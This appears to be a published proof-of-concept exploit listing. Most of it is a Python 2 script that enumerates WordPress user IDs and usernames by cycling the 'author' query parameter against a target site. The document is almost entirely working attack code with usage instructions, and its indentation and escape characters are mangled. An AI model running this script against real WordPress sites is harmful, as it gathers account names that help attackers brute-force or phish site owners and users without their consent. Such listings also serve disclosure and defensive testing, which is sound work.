WordPress versions 2.6, 3.1, 3.1.1, 3.1.3, and 3.2-beta2 suffers from a remote user enumeration vulnerability. PoC:

 

#! /usr/bin/env python
 #  Copyright (C) 2009  Veronica Valeros, TALSOFT S.R.L.
 #
 #  This program is free software; you can redistribute it and/or modify
 #  it under the terms of the GNU General Public License as published by
 #  the Free Software Foundation; either version 2 of the License, or
 #  (at your option) any later version.
 #
 #  This program is distributed in the hope that it will be useful,
 #  but WITHOUT ANY WARRANTY; without even the implied warranty of
 #  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 #  GNU General Public License for more details.
 #
 #  You should have received a copy of the GNU General Public License
 #  along with this program; if not, write to the Free Software
 #  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 #
 #
 # Author:
 # Veronica Valeros vero.valeros@gmail.com
 #
 # Collaborators:
 # Gabriel Casullo info@casu-net.com.ar
 #
 """
 This scripts exploits a vulnerability in wordpress based websites that allows to list user ids and user names by changing
 the value of the parameter 'author' in the website.
 See the security advisory of this vulnerability at: http://www.talsoft.com.ar/index.php/research/security-advisories
 """
 # standar imports
 import sys
 import re
 import getopt
 import urllib2
 import urlparse
 ####################
 # Global Variables
 debug=False
 vernum='0.1'
 verbose=False
 # This is for identify links in a HTTP answer
 usernamelinks = re.compile('/author/[^/]*',re.IGNORECASE)
 usernamelinks_content = re.compile('(?:Author's Spotlight:|a> por )[^<]*',re.IGNORECASE)
 # End of global variables
 ###########################
 # Print version information and exit
 def version():
 """
 This function prints the version of this program. It doesn't allow any argument.
 """
 print "+----------------------------------------------------------------------+"
 print "| "+ sys.argv[0] + " Version "+ vernum +"      |"
 print "| This program is free software; you can redistribute it and/or modify |"
 print "| it under the terms of the GNU General Public License as published by |"
 print "| the Free Software Foundation; either version 2 of the License, or    |"
 print "| (at your option) any later version.                                  |"
 print "|                                                                      |"
 print "| Author: Veronica Valeros, vero.valeros@gmail.com                     |"
 print "| Collaborator: Gabriel Casullo, info@casu-net.com.ar                   |"
 print "| TALSOFT S.R.L. - www.talsoft.com.ar - Mar del Plata, Argentina       |"
 print "+----------------------------------------------------------------------+"
 print
 # Print help information and exit:
 def usage():
 """
 This function prints the posible options of this program.
 """
 print "+----------------------------------------------------------------------+"
 print "| "+ sys.argv[0] + " Version "+ vernum +"      |"
 print "| This program is free software; you can redistribute it and/or modify |"
 print "| it under the terms of the GNU General Public License as published by |"
 print "| the Free Software Foundation; either version 2 of the License, or    |"
 print "| (at your option) any later version.                                  |"
 print "|                                                                      |"
 print "| Author: Veronica Valeros, vero.valeros@gmail.com                     |"
 print "| Collaborator: Gabriel Casullo, info@casu-net.com.ar                   |"
 print "| TALSOFT S.R.L. - www.talsoft.com.ar - Mar del Plata, Argentina       |"
 print "+----------------------------------------------------------------------+"
 print
 print "nUsage: %s " % sys.argv[0]
 print "Options:"
 print "  -h, --help                           Show this help message and exit."
 print "  -u, --url                            URL to start crawling.(Ex.: http://www.wikipedia.org/"
 print "  -V, --version                        Output version information and exit."
 print "  -D, --debug                          Debug."
 print " "
 print "Example: "+sys.argv[0] +" -u http://www.xxxx.com "
 print
 sys.exit(1)
 ###############
 # EXTRACT USERS
 ###############
 def extract_users(url_to_exploit):
 """
 """
 global debug
 global usernamelinks
 author_username=""
 error_code=""
 output_data=[]
 ######
 #Program
 ######
 try:
 output_data.append("")
 print '+ Checking if website <{0}> is vulnerable...'.format(url_to_exploit)
 # Here we complete the given path to check for the vilnearbility.
 if url_to_exploit.endswith('/'):
 url=url_to_exploit+'?author='
 else:
 url=url_to_exploit+'/?author='
 try:
 response = urllib2.urlopen(url+'1')
 try:
 response = urllib2.urlopen(url_to_exploit+'/wp-admin')
 print 't> Probably exploitable.'
 except urllib2.HTTPError,error_code:
 print 't> Probably it is not exploitable or it is not based on WordPress. Trying to exploit it anyway...'
 except:
 print 't> Not exploitable.'
 return -4
 except urllib2.HTTPError,error_code:
 return -4
 except:
 print 't> Probably exploitable.... Check it manually.'
 pass
 # Here we get the data of the URL
 print '+ Trying to extract users:'
 print 't   USER ID    USERNAME       OBSERVATION'
 for i in range(1,11):
 author_username = ""
 error_code=""
 try:
 request = url+str(i)
 if debug:
 print 'Request: {0}'.format(request)
 # Here we ask for the specific userid
 response = urllib2.urlopen(request)
 if debug:
 print 'Response Ok.'
 content = response.read()
 if debug:
 print 'Response readed Ok.'
 author_username = usernamelinks.findall(response.url)
 try:
 author_username= author_username[0]
 except:
 author_username = usernamelinks.findall(content)
 try:
 author_username= author_username[0]
 except:
 pass
 if author_username:
 try:
 author_username = author_username.split('/')[2]
 except:
 pass
 else:
 author_username = usernamelinks_content.findall(content)
 try:
 author_username= author_username[0].split(' ')[2]
 except:
 pass
 if not author_username:
 error_code = 'It was imposible to find the Username of this User ID. Check the source code.'
 author_username=""
 else:
 output_data.append(author_username)
 print 'tt{0}	{1}t     {2}'.format(i,author_username,error_code)
 except urllib2.HTTPError,error_code:
 print 'tt{0} tt     No user exists with this ID'.format(i)
 pass
 except KeyboardInterrupt:
 return -2
 except:
 print 'Bug in urllib open url!. Perhaps the website does not exist?'
 if len(output_data)>1:
 return 1
 else:
 return -3
 except KeyboardInterrupt:
 return -2
 except:
 print 'Error in loop!'
 return -1
 ##########
 # MAIN
 ##########
 def main():
 try:
 global debug
 base_url=""
 opts, args = getopt.getopt(sys.argv[1:], "hu:VD", ["help","url=","version","debug"])
 except getopt.GetoptError: usage()
 for opt, arg in opts:
 if opt in ("-h", "--help"): usage()
 if opt in ("-u", "--url"): base_url=arg
 if opt in ("-V", "--version"): version(); exit(1)
 if opt in ("-D", "--debug"): debug=True
 try:
 if base_url != "":
 version()
 print 'This exploit cannot verify whether a website is using WordPress. You should check it yourself.n'
 base_url_parsed = urlparse.urlparse(base_url)
 if base_url_parsed.scheme == "":
 base_url='http://'+base_url
 result =  extract_users(base_url)
 if result == 1:
 print '-----------------------------------------------------------------------------'
 print 'This version of WordPress is vulnerable to User ID and Username enumeration.'
 print 'This vulnerability is fixed since wordpress 3.1.3 release.'
 print '-----------------------------------------------------------------------------'
 elif result == -1:
 print '-----------------------------------------------------------------------------'
 print 'Error in exploiting wordpress user names and ids vulnerability! Exiting!'
 print '-----------------------------------------------------------------------------'
 elif result == -2:
 print ' Keyboard interruption! Exiting!'
 elif result == -3:
 print '-------------------------------------------------------------------------------------------'
 print 'This version of WordPress seems to be vulnerable to User ID and Username enumeration.'
 print 'No username could be extracted. Check the source page of the website to look for usernames.'
 print '-------------------------------------------------------------------------------------------'
 elif result == -4:
 print '------------------------------------------------------------------------------------------'
 print 'This version of WordPress seems not to be vulnerable to User ID and Username enumeration.'
 print '------------------------------------------------------------------------------------------'
 else:
 usage()
 except KeyboardInterrupt:
 # CTRL-C pretty handling
 print 'Keyboard Interruption!. Exiting.'
 sys.exit(1)
 if __name__ == '__main__':
 main()